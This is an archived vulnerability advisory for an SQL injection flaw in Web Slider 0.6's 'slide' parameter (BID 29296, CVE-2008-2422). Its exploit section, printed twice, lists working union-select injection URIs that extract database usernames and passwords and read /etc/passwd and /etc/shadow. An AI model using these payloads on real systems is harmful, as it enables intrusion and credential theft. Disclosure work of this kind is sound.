Web Slider 'slide' Parameter SQL Injection Vulnerability
BID:29296
Info
Web Slider 'slide' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 29296 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2422 |
| Remote: | Yes |
| Local: | No |
| Published: | May 20 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | fahn zichler <[email protected]> |
| Vulnerable: |
Web Slider Web Slider 0.6 |
| Not Vulnerable: | |
Discussion
Exploit / POC
Web Slider 'slide' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(CHAR(0x75,0x73,0x65,0x72,0x3A,0xD,0xA),username,0x3a,password),2,concat(database(),char(58),0x2020,version()),4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(user(),0x3a,password),null,concat(database(),0x2020,version()),4+from+mysql.user/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(0x6574632F706173737764),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(CONCAT(CHAR(0x65),CHAR(0x74),CHAR(0x63),CHAR(0x2F),CHAR(0x70),CHAR(0x61),CHAR(0x73),CHAR(0x73),CHAR(0x77),CHAR(0x64))),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(0x6574632F706173737764),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/passwd),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/shadow),50),2,0,4+from+users/*
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(CHAR(0x75,0x73,0x65,0x72,0x3A,0xD,0xA),username,0x3a,password),2,concat(database(),char(58),0x2020,version()),4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(user(),0x3a,password),null,concat(database(),0x2020,version()),4+from+mysql.user/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(0x6574632F706173737764),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(CONCAT(CHAR(0x65),CHAR(0x74),CHAR(0x63),CHAR(0x2F),CHAR(0x70),CHAR(0x61),CHAR(0x73),CHAR(0x73),CHAR(0x77),CHAR(0x64))),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(0x6574632F706173737764),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/passwd),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/shadow),50),2,0,4+from+users/*
Solution / Fix
Web Slider 'slide' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].